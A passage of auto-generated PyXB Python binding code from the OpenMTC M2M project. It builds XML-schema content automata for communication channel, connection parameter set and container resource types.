'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
16, 12))
counters.add(cc_4)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'channelType')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contactURI')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'channelData')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannel._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannel.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
CommunicationChannel._Automaton = _BuildAutomaton_29()
CommunicationChannels._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=CommunicationChannels,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
CommunicationChannels._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=CommunicationChannels,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
CommunicationChannels._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'communicationChannelCollection'),
NamedReferenceCollection, scope=CommunicationChannels,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
19, 4)))
def _BuildAutomaton_30():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_30
del _BuildAutomaton_30
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
15, 12))
counters.add(cc_2)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannels._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannels._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(CommunicationChannels._UseForTag(
pyxb.namespace.ExpandedName(Namespace,
u'communicationChannelCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/communicationChannels.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
CommunicationChannels._Automaton = _BuildAutomaton_30()
ConnectionParamSet._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'sclId'),
pyxb.binding.datatypes.anyURI,
scope=ConnectionParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
220, 4)))
ConnectionParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityLifetime'),
pyxb.binding.datatypes.dateTime, scope=ConnectionParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
16, 4)))
ConnectionParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey'),
STD_ANON_2, scope=ConnectionParamSet, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
20, 4)))
ConnectionParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityKmcIndex'),
pyxb.binding.datatypes.unsignedInt, scope=ConnectionParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
30, 4)))
ConnectionParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securitymIdFlags'), STD_ANON_3,
scope=ConnectionParamSet, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
32, 4)))
ConnectionParamSet._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'securityConnectionId'),
pyxb.binding.datatypes.unsignedLong, scope=ConnectionParamSet,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/commonSecurity.xsd',
48, 4)))
def _BuildAutomaton_31():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_31
del _BuildAutomaton_31
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityConnectionId')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd',
13, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityKmcIndex')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd',
14, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityLifetime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd',
15, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = None
symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securityEncryptedM2MKey')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = None
symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'sclId')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
symbol = pyxb.binding.content.ElementUse(ConnectionParamSet._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'securitymIdFlags')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/connectionParamSet.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
]))
st_4._set_transitionSet(transitions)
transitions = []
st_5._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ConnectionParamSet._Automaton = _BuildAutomaton_31()
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=Container, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=Container, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentInstancesReference'),
pyxb.binding.datatypes.anyURI, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 86,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subcontainersReference'),
pyxb.binding.datatypes.anyURI, scope=Container,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 87,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'maxNrOfInstances'),
pyxb.binding.datatypes.long, scope=Container,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 30,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'maxByteSize'),
pyxb.binding.datatypes.long, scope=Container,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 31,
4)))
Container._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'maxInstanceAge'),
pyxb.binding.datatypes.duration, scope=Container,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 32,
4)))
def _BuildAutomaton_32():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_32
del _BuildAutomaton_32
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
15, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
16, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
17, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
18, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
19, 12))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
20, 12))
counters.add(cc_8)
cc_9 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
23, 12))
counters.add(cc_9)
cc_10 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
24, 12))
counters.add(cc_10)
cc_11 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
25, 12))
counters.add(cc_11)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
17, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'maxNrOfInstances')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
18, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'maxByteSize')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
19, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_8, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'maxInstanceAge')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
20, 12))
st_8 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_8)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_9, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentInstancesReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
23, 12))
st_9 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_10, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subcontainersReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
24, 12))
st_10 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_10)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_11, False))
symbol = pyxb.binding.content.ElementUse(Container._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd',
25, 12))
st_11 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_11)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
